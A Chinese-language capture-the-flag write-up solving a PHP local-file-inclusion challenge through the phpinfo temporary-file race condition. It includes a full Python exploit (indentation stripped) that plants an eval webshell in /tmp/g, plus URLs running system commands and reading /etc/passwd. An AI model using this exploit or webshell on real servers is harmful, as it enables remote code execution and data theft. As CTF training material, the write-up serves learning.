CyberCTF WEB inclusion
一天一道CTF題目，能多不能少
打開網頁，並沒有發現什麼，直接查看網頁源代碼：
有個phpinfo？？？
直接打開得到phpinfo的頁面：
不過這個好像也沒找到什麼東西~~
還有一個lfi.php文件直接打開
一開始不知道存在文件包含
後面經過大佬提醒，可以使用php://filter/read=convert.base64-encode/resource=讀取文件
直接讀取lfi.php文件
得到的卻是：
僅僅只有一個文件包含！？
最後又讀了一下/etc/passwd
解碼的到：
好像也沒有什麼東西
仔細看了一下phpinfo，發現沒有禁止的函數
可以讀取文件，絕對路徑等等，突然想起後面還有一個提示
一個祕密的目錄？
原諒自己無知，只能百度，直接搜索文件包含 phpinfo()
最後還真的找到一個這樣的漏洞？？
PHP文件包含漏洞（利用phpinfo）
這裏就附上大佬的利用方法簡述：
在給PHP發送POST數據包時，如果數據包裏包含文件區塊，無論你訪問的代碼中有沒有處理文件上傳的邏輯，PHP都會將這個文件保存成一個臨時文件（通常是/tmp/php[6個隨機字符]），文件名可以在$_FILES變量中找到。這個臨時文件，在請求結束後就會被刪除。
同時，因爲phpinfo頁面會將當前請求上下文中所有變量都打印出來，所以我們如果向phpinfo頁面發送包含文件區塊的數據包，則即可在返回包裏找到$_FILES變量的內容，自然也包含臨時文件名。
在文件包含漏洞找不到可利用的文件時，即可利用這個方法，找到臨時文件名，然後包含之。
但文件包含漏洞和phpinfo頁面通常是兩個頁面，理論上我們需要先發送數據包給phpinfo頁面，然後從返回頁面中匹配出臨時文件名，再將這個文件名發送給文件包含漏洞頁面，進行getshell。在第一個請求結束時，臨時文件就被刪除了，第二個請求自然也就無法進行包含。
這個時候就需要用到條件競爭，具體流程如下：
1、發送包含了webshell的上傳數據包給phpinfo頁面，這個數據包的header、get等位置需要塞滿垃圾數據
2、因爲phpinfo頁面會將所有數據都打印出來，1中的垃圾數據會將整個phpinfo頁面撐得非常大
3、php默認的輸出緩衝區大小爲4096，可以理解爲php每次返回4096個字節給socket連接
4、所以，我們直接操作原生socket，每次讀取4096個字節。只要讀取到的字符裏包含臨時文件名，就立即發送第二個數據包
5、此時，第一個數據包的socket連接實際上還沒結束，因爲php還在繼續每次輸出4096個字節，所以臨時文件此時還沒有刪除
6、利用這個時間差，第二個數據包，也就是文件包含漏洞的利用，即可成功包含臨時文件，最終getshell
自己太菜，借用了大神的exp鏈接，源碼如下：
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
這就是創建一個臨時的目錄：
直接使用大神exp：
成功創建~~
此處是文件包含利用的地方
好像就是題目裏面的文件包含那~~
直接使用payload：http://47.110.227.208:8001/lfi.php?file=/tmp/g&1=system(%27ls%27);
好像MD5解密一下~
沒錯了，應該就是這個目錄下~
繼續payload：http://47.110.227.208:8001/lfi.php?file=/tmp/g&1=system(%27ls%209f8a2133f0cad361ff6d22a445c2531a%27);：
進一步payload：http://47.110.227.208:8001/lfi.php?file=/tmp/g&1=system(%27cat%209f8a2133f0cad361ff6d22a445c2531a/flag%27);
得到flag：flag{PhP_inF0_is_gO0D}
原來phpinfo還有如此神奇的功能，如果沒有大神的exp，
估計自己知道有這個漏洞都不能把這個題木給做出來
自己還是TCL,，今後還得努力